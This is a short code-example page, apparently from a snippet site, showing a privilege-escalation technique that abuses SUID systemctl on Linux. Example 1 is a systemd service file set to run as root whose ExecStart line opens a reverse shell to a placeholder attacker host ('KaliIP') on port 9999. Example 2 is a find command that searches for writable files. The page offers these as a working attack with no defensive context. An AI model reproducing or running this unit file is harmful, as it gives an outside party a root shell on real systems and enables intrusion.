systemctl privilege escalation code example
Example 1: suid privilege escalation systemctl
[Unit]
Description=roooooooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
[Install]
WantedBy=multi-user.target
Example 2: suid privilege escalation systemctl
find -type f -maxdepth 2 -writable